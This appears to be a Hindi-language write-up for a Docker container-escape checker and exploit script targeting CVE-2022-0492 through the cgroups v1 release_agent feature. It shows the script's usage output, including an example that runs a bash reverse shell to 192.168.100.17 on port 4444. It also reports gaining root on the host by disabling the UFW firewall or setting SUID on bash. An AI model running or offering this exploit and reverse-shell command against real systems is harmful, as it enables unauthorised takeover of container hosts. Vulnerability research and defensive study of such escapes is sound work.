
Docker Breakout Checker और PoC CAP_SYS_ADMIN के माध्यम से और user namespaces के माध्यम से (CVE-2022-0492)
इस कमजोरी का शोषण करने के लिए हमलावर को एक असुरक्षित सिस्टम पर चल रहे Docker कंटेनर तक पहुंच की आवश्यकता होती है। एक बार शोषण के बाद, हमलावर कंटेनर से बाहर निकल सकता है और होस्ट सिस्टम पर पूर्ण नियंत्रण प्राप्त कर सकता है।
Linux कर्नेल के kernel/cgroup/cgroup-v1.c फंक्शन में cgroup_release_agent_write में एक कमजोरी पाई गई। यह दोष, कुछ परिस्थितियों में, विशेषाधिकारों को बढ़ाने और नेमस्पेस अलगाव को अप्रत्याशित रूप से बायपास करने के लिए cgroups v1 release_agent सुविधा का उपयोग करने की अनुमति देता है।
सरल शब्दों में, cgroups v1 में release_agent नामक एक सुविधा है जो cgroup में एक प्रक्रिया समाप्त होने पर एक प्रोग्राम चलाती है। यदि notify_on_release सक्षम है, तो कर्नेल release_agent बाइनरी को root के रूप में चलाता है। release_agent फ़ाइल को संपादित करके, एक हमलावर अपनी बाइनरी को उन्नत विशेषाधिकारों के साथ निष्पादित कर सकता है, सिस्टम का नियंत्रण ले सकता है। हालांकि, release_agent फ़ाइल root के स्वामित्व में है, इसलिए केवल root पहुंच वाला उपयोगकर्ता ही इसे संशोधित कर सकता है।
# sh CVE-2022-0492.sh
[>] CVE-2022-0492 Docker Container Escape V
[>] Execute this script in a Docker to check for vulnerability or to exploit it. (º___\/{
[>] Usage:
sh CVE-2022-0492.sh --checker Verify if system is vulnerable.
sh CVE-2022-0492.sh -c|--command <COMMAND> Execute command on host machine.
sh CVE-2022-0492.sh -h|--help Print the help panel.
[>] Example:
sh CVE-2022-0492.sh --command 'bash -c "bash -i >& /dev/tcp/192.168.100.17/4444 0>&1"'
होस्ट मशीन में रूट उपयोगकर्ता UFW को अक्षम करके और फिर एक रिवर्स शेल भेजकर हैक किया गया।

होस्ट मशीन में रूट उपयोगकर्ता bash पर SUID सेट करके और फिर रिवर्स शेल भेजकर हैक किया गया।
